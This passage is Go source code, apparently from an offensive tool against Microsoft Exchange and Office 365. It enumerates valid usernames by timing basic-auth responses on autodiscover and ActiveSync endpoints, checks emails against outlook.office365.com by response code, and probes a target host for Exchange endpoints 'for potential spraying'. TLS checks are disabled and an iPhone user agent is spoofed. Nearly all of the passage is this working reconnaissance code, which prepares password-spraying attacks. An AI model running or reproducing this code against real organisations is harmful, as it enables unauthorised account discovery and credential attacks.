390 | for i:=0; i < len(userlist); i++ { 391 | queue <- userlist[i] 392 | } 393 | 394 | 395 | close(queue) 396 | wg.Wait() 397 | return validusers 398 | } 399 | 400 | func basicAuthAvgTime(host string) time.Duration { 401 | internaldomain := harvestInternalDomain(host, false) 402 | url1 := "https://"+host+"/autodiscover/autodiscover.xml" 403 | url2 := "https://"+host+"/Microsoft-Server-ActiveSync" 404 | url3 := "https://autodiscover."+host+"/autodiscover/autodiscover.xml" 405 | var urlToHarvest string 406 | if webRequestCodeResponse(url1) == 401 { 407 | urlToHarvest = url1 408 | } else if webRequestCodeResponse(url2) == 401 { 409 | //fmt.Println("[i] ActiveSync not resolved.. failing over to AutoDiscover") 410 | urlToHarvest = url2 411 | } else if webRequestCodeResponse(url3) == 401 { 412 | //fmt.Println("[i] ActiveSync not resolved.. failing over to AutoDiscover") 413 | urlToHarvest = url3 414 | } else { 415 | println("[-] Unable to resolve host provided to determine valid users.") 416 | os.Exit(2) 417 | } 418 | 419 | //We are determining sample auth response time for invalid users, the password used is irrelevant. 420 | pass := "Summer201823904" 421 | tr := &http.Transport { 422 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 423 | } 424 | fmt.Println("\nCollecting sample auth times...") 425 | 426 | var sliceOfTimes []float64 427 | var medianTime float64 428 | 429 | usernamelist := []string{"sdfsdskljdfhkljhf","ssdlfkjhgkjhdfsdfw","sdfsdfdsfff","sefsefsefsss","lkjhlkjhiuyoiuy","khiuoiuhohuio","s2222dfs45g45gdf","sdfseddf3333"} 430 | for i := 0; i < len(usernamelist)-1; i++ { 431 | startTime := time.Now() 432 | webRequestBasicAuth(urlToHarvest,internaldomain + "\\" + usernamelist[i], pass, tr) 433 | //req.SetBasicAuth(internaldomain + "\\" + usernamelist[i], pass) 434 | elapsedTime := time.Since(startTime) 435 | if elapsedTime > time.Second * 15 { 436 | fmt.Println("\nResponse taking longer than 15 seconds, setting time:") 437 | fmt.Println("[i] Avg Response:", time.Duration(elapsedTime), "\n") 438 | return time.Duration(elapsedTime) 439 | } 440 | if i != 0 { 441 | fmt.Println(elapsedTime) 442 | sliceOfTimes = append(sliceOfTimes, float64(elapsedTime)) 443 | } 444 | } 445 | sort.Float64s(sliceOfTimes) 446 | if len(sliceOfTimes)%2 == 0 { 447 | positionOne := len(sliceOfTimes)/2 -1 448 | positionTwo := len(sliceOfTimes)/2 449 | medianTime = (sliceOfTimes[positionTwo] +sliceOfTimes[positionOne])/2 450 | } else if len(sliceOfTimes)%2 != 0 { 451 | position := len(sliceOfTimes)/2 -1 452 | medianTime = sliceOfTimes[position] 453 | } else { 454 | fmt.Println("Error determining whether length of times gathered is even or odd to obtain median value.") 455 | } 456 | fmt.Println("[i] Avg Response:", time.Duration(medianTime), "\n") 457 | return time.Duration(medianTime) 458 | } 459 | 460 | func o365enum(emaillist []string, threads int) []string { 461 | limit := threads 462 | var wg sync.WaitGroup 463 | mux := &sync.Mutex{} 464 | queue := make(chan string) 465 | //limit := 100 466 | 467 | /*Keep in mind you, nothing has been added to handle successful auths 468 | so the password for auth attempts has been hardcoded to something 469 | that is not likely to be correct. 470 | */ 471 | pass := "Summer2018876" 472 | URI := "https://outlook.office365.com/Microsoft-Server-ActiveSync" 473 | var validemails []string 474 | 475 | tr := &http.Transport { 476 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 477 | } 478 | 479 | for i := 0; i < limit; i++ { 480 | wg.Add(1) 481 | go func(i int) { 482 | defer wg.Done() 483 | for email := range queue { 484 | responseCode := webRequestBasicAuth(URI, email, pass , tr) 485 | if strings.Contains(email, "@") && responseCode == 401 { 486 | mux.Lock() 487 | fmt.Printf(BrightGreen,"[+] "+ email + " - 401 \n") 488 | validemails = append(validemails, email) 489 | mux.Unlock() 490 | }else if strings.Contains(email, "@") && responseCode == 404 { 491 | mux.Lock() 492 | fmt.Printf("[-] %s - %d \n", email,responseCode) 493 | mux.Unlock() 494 | }else { 495 | mux.Lock() 496 | fmt.Printf("[i] Unusual Response: %s - %d \n", email, responseCode) 497 | mux.Unlock() 498 | } 499 | } 500 | }(i) 501 | } 502 | 503 | for i:=0; i < len(emaillist); i++ { 504 | queue <- emaillist[i] 505 | } 506 | 507 | close(queue) 508 | wg.Wait() 509 | return validemails 510 | } 511 | 512 | func webRequestBasicAuth(URI string, user string, pass string, tr *http.Transport) int { 513 | timeout := time.Duration(45 * time.Second) 514 | client := &http.Client { 515 | Timeout: timeout, 516 | Transport: tr, 517 | } 518 | req, err := http.NewRequest("GET", URI, nil) 519 | req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1") 520 | req.SetBasicAuth(user, pass) 521 | resp, errr := client.Do(req) 522 | if errr != nil { 523 | fmt.Printf("[i] Potential Timeout - %s \n", user) 524 | fmt.Printf("[i] One of your requests has taken longer than 45 seconds to respond.") 525 | fmt.Printf("[i] Consider lowering amount of threads used for enumeration.") 526 | log.Fatal(err) 527 | } 528 | return resp.StatusCode 529 | } 530 | 531 | func urlEnum(hostInput string) { 532 | //var logger = log.New(os.Stdout, "", 0) 533 | //Beginning of o365 enumeration 534 | //target-com.mail.protection.outlook.com 535 | hostSlice := strings.Split(hostInput, ".") 536 | //rootDomain := hostSlice[len(hostSlice)-2] + "." + hostSlice[len(hostSlice)-1] 537 | o365Domain := hostSlice[len(hostSlice)-2] + "-" + hostSlice[len(hostSlice)-1] + ".mail.protection.outlook.com" 538 | addr,err := net.LookupIP(o365Domain) 539 | if err != nil { 540 | fmt.Printf(BrightYellow,"[-] ") 541 | fmt.Println("Domain is not using o365 resources.") 542 | } else if addr == nil { 543 | fmt.Println("error") 544 | } else { 545 | fmt.Printf(BrightGreen,"[+] ") 546 | fmt.Println("Domain is using o365 resources.") 547 | } 548 | asURI := "https://" + hostInput + "/Microsoft-Server-ActiveSync" 549 | adURI := "https://" + hostInput + "/autodiscover/autodiscover.xml" 550 | ad2URI := "https://autodiscover." + hostInput + "/autodiscover/autodiscover.xml" 551 | owaURI := "https://" + hostInput + "/owa" 552 | timeEndpointsIdentified := false 553 | fmt.Println("") 554 | fmt.Println("\nIdentifying endpoints vulnerable to time-based enumeration:") 555 | timeEndpoints := []string{asURI,adURI,ad2URI,owaURI} 556 | for _, uri := range timeEndpoints { 557 | responseCode := webRequestCodeResponse(uri) 558 | if responseCode == 401 { 559 | fmt.Printf(BrightGreen,"[+] ") 560 | fmt.Println(uri) 561 | timeEndpointsIdentified = true 562 | } 563 | if responseCode == 200 { 564 | fmt.Printf(BrightGreen,"[+] ") 565 | fmt.Println(uri) 566 | timeEndpointsIdentified = true 567 | } 568 | } 569 | if timeEndpointsIdentified == false { 570 | fmt.Printf(BrightYellow, "[-] ") 571 | fmt.Println("No Exchange endpoints vulnerable to time-based enumeration discovered.") 572 | } 573 | fmt.Println("\n\nIdentifying exposed Exchange endpoints for potential spraying:") 574 | passEndpointIdentified := false 575 | rpcURI := "https://" + hostInput + "/rpc" 576 | oabURI := "https://" + hostInput + "/oab" 577 | ewsURI := "https://" + hostInput + "/ews" 578 | mapiURI := "https://" + hostInput + "/mapi" 579 | 580 | passEndpoints401 := []string{oabURI, ewsURI, mapiURI, asURI, adURI,ad2URI,rpcURI} 581 | for _, uri := range passEndpoints401 { 582 | responseCode := webRequestCodeResponse(uri) 583 | if responseCode == 401 { 584 | fmt.Printf(BrightGreen,"[+] ") 585 | fmt.Println(uri) 586 | passEndpointIdentified = true 587 | } 588 | } 589 | ecpURI := "https://" + hostInput + "/ecp" 590 | endpoints200 := []string{ecpURI, owaURI} 591 | for _, uri := range endpoints200 { 592 | responseCode := webRequestCodeResponse(uri) 593 | if responseCode == 200 { 594 | fmt.Printf(BrightGreen,"[+] ") 595 | fmt.Println(uri) 596 | passEndpointIdentified = true 597 | } 598 | } 599 | if passEndpointIdentified == false { 600 | fmt.Printf(BrightYellow, "[-] ") 601 | fmt.Println("No onprem Exchange services identified.") 602 | } 603 | } 604 | 605 | func webRequestCodeResponse(URI string) int { 606 | tr := &http.Transport { 607 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 608 | } 609 | timeout := time.Duration(3 * time.Second) 610 | client := &http.Client { 611 | Timeout: timeout, 612 | Transport: tr, 613 | } 614 | req, err := http.NewRequest("GET", URI, nil) 615 | req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1") 616 | resp, err := client.Do(req) 617 | if err != nil { 618 | return 0 619 | //log.Fatal(err) 620 | } 621 | return resp.StatusCode 622 | } 623 | 624 | func writeFile(filename string, values []string) { 625 | if len(values) == 0 { 626 | return 627 | } 628 | f, err := os.Create(filename) 629 | if err != nil { 630 | log.Fatal(err) 631 | } 632 | defer f.Close() 633 | for _, value := range values { 634 | fmt.Fprintln(f, value) 635 | } 636 | } 637 | --------------------------------------------------------------------------------